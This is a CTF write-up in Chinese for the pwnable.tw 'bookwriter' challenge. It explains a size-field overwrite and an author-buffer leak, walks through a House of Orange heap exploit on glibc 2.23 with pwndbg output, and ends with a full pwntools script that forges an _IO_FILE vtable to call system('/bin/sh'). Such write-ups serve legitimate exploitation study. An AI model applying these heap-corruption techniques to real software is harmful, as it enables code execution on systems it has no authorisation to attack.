House of Orange 漏洞的利用,程序中没有free函数,但该程序并不像 House of Orange 原题那样可以任意溢出,所以需要攻击者研究新的利用手段,靶机环境是glibc-2.23。
原题地址:https://pwnable.tw/challenge/ 。
源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/bookwriter 。
目录
安全防护
ex@Ex:~/test$ checksec bookwriter
[*] '/home/ex/test/bookwriter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
其实程序即使开启了 PIE 保护也是不影响该漏洞的利用的。
溢出点
void __cdecl Edit()
{
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("Index of page :");
index = get_uint();
if ( index > 7 )
{
puts("out of page:");
exit(0);
}
if ( ptr[index] )
{
printf("Content:");
read_n(ptr[index], ptr_size[index]);
ptr_size[index] = strlen(ptr[index]);
puts("Done !");
}
else
{
puts("Not found !");
}
}
Edit
函数中,ptr_size[index]
的值会根据strlen(ptr[index])
而更新,如果我们故意不进行null截断
的话,那么我们输入的内容就会和下一个chunk的size
黏连,也就意味着只能修改下一个chunk的size
的堆溢出。
下面是一个简单的泄露点。
void __cdecl set_author()
{
printf("Author :");
read_n(author, 0x40u);
}
set_author
可以读取长度为0x40
的内容,且没有null截断
,所以可以泄露出后面ptr
的信息。
.bss:0000000000602060 ; char author[64]
.bss:0000000000602060 author db 40h dup(?) ; DATA XREF: set_author+18↑o
.bss:0000000000602060 ; Information+1E↑o
.bss:00000000006020A0 ; char *ptr[8]
.bss:00000000006020A0 ptr dq 8 dup(?) ; DATA XREF: Add+1F↑r
.bss:00000000006020A0 ; Add+A2↑w ...
.bss:00000000006020E0 ; __int64 ptr_size[8]
.bss:00000000006020E0 ptr_size dq 8 dup(?) ; DATA XREF: Add+B1↑w
.bss:00000000006020E0 ; Edit+6C↑r ...
思路
由于没有任意堆溢出,所以这里我们需要利用size的变换来实现漏洞的利用。
- 泄露heap地址
Add(0x18, '\n')
sh.sendlineafter('Your choice :', '4')
sh.recvuntil('a' * 0x40)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x1020
log.success('heap_addr: ' + hex(heap_addr))
- 压缩heap
Add(0x1fdc0, '\n')
先将heap压缩到一个比较好操作的大小。
- 修改top_chunk的size ,为了free掉top_chunk
Edit(1, 'b' * 0x18)
Edit(1, 'b' * 0x18 + p16(0x201))
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00))
在这里原先top_chunk
的size为0x1201
,然后我们将其修改为0x201
。然后当我们再次申请0xff8
大小,原先的top_chunk
会被free
到unsorted bin
中。
- 伪造 fake chunk , 为了和 unsorted bin 中的 chunk (上面被free掉top_chunk) 对应,以绕过检查
- 修改 unsorted bin 中的 chunk (上面被free掉top_chunk)的size,让其下一个chunk刚好为 fake chunk
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00)) # fake chunk
Edit(1, 'b' * 0x18 + p16(0x1301))
上面两步是一起的,完成这些操作后,heap会被恢复成完整状态,但其实内部已经overlap
。
完成这两步后的heap状态如下:
pwndbg> heap
0x6aa000 PREV_INUSE {
prev_size = 0,
size = 4113,
fd = 0xa30,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6ab010 PREV_INUSE {
prev_size = 0,
size = 130513,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6cade0 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x6262626262626262,
bk = 0x6262626262626262,
fd_nextsize = 0x6262626262626262,
bk_nextsize = 0x1301
}
0x6cae00 PREV_INUSE {
prev_size = 7089336938131513954,
size = 4865,
fd = 0x7f458d3f0b78 <main_arena+88>,
bk = 0x7f458d3f0b78 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6cc100 {
prev_size = 4864,
size = 3840,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6cd000 PREV_INUSE {
prev_size = 0,
size = 135169,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
- 有 unsorted bin 后可以泄露 main_arena 地址,从而泄露 libc 地址
- 将 unsorted bin 压缩到可控范围
上面两步是一起的。
Add(0x1278, 'e' * 8)
View(3)
sh.recvuntil('e' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x688
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))
执行完成后,我们就可以控制 unsorted bin
。
下面是调试结果:
pwndbg> pr
0x6020a0: 0x00000000008f0020 0x000000000090fdf0
0x6020b0: 0x0000000000911010 0x000000000090fe10
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x000000000001fdc0 0x000000000000001a
0x6020f0: 0x0000000000000ff8 0x0000000000001278
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
pwndbg> unsortedbin
unsortedbin
all: 0x911080 —▸ 0x7f4f5703ab78 (main_arena+88) ◂— 0x911080
可以看出第2个ptr
的地址是0x911010
而且ptr_size
是0xff8
,其刚好可以控制
unsorted bin
的 0x911080
。
- 构造布局,触发 House of Orange
layout = [
'z' * 0x70,
'/bin/sh\0', p64(0x61),
p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
p64(2), p64(3),
'z' * 8, p64(0), # vtable
p64(0), p64(libc_addr + libc.symbols['system']),
'z' * 0x70,
p64(0), p64(0),
p64(0), p64(heap_addr + 0x220b0), # vtable_ptr
]
Edit(2, flat(layout))
# pause()
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size of page :', str(8))
这里就是简单的 House of Orange 利用。
完整脚本
由于 House of Orange 受 随机化的影响,成功几率是1/2
。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './bookwriter'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10304)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')
# Create testorary files for GDB debugging
try:
gdbscript = '''
define pr
x/16gx 0x6020A0
end
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def Add(size, content):
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size of page :', str(size))
sh.sendafter('Content :', content)
def Edit(index, content):
sh.sendlineafter('Your choice :', '3')
sh.sendlineafter('Index of page :', str(index))
sh.sendafter('Content:', content)
def View(index):
sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Index of page :', str(index))
sh.sendafter('Author :', 'a' * 0x40)
sh.sendlineafter('Your choice :', '4')
sh.sendlineafter('(yes:1 / no:0) ', '0')
Add(0x1fdc0, '\n')
Add(0x18, '\n')
sh.sendlineafter('Your choice :', '4')
sh.recvuntil('a' * 0x40)
result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x1020
log.success('heap_addr: ' + hex(heap_addr))
sh.sendlineafter('(yes:1 / no:0) ', '0')
Edit(1, 'b' * 0x18)
Edit(1, 'b' * 0x18 + p16(0x201))
Add(0xff8, 'a' * 0xf0 + p64(0x1300) + p64(0xf00)) # fake chunk
Edit(1, 'b' * 0x18 + p16(0x1301))
Add(0x1278, 'e' * 8)
View(3)
sh.recvuntil('e' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0x688
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))
layout = [
'z' * 0x70,
'/bin/sh\0', p64(0x61),
p64(0), p64(libc_addr + libc.symbols['_IO_list_all'] - 0x10),
p64(2), p64(3),
'z' * 8, p64(0), # vtable
p64(0), p64(libc_addr + libc.symbols['system']),
'z' * 0x70,
p64(0), p64(0),
p64(0), p64(heap_addr + 0x220b0), # vtable_ptr
]
Edit(2, flat(layout))
# pause()
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('Size of page :', str(8))
sh.sendline('echo -n hello')
if(sh.recvn(5) != 'hello'):
raise Exception('no shell')
sh.interactive()
clear()